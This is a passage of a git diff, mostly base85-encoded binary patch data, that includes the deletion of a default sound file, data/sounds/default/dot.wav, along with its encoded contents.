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%0A<HxG09QZ{wtV7$4i{OR12V|e%Y+ds%X`H^U)FA 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 diff --git a/data/sounds/default/dot.wav b/data/sounds/default/dot.wav deleted file mode 100755 index b5fa3107f944bda6bf0bf493a120f7af0c63e09d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 23564 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 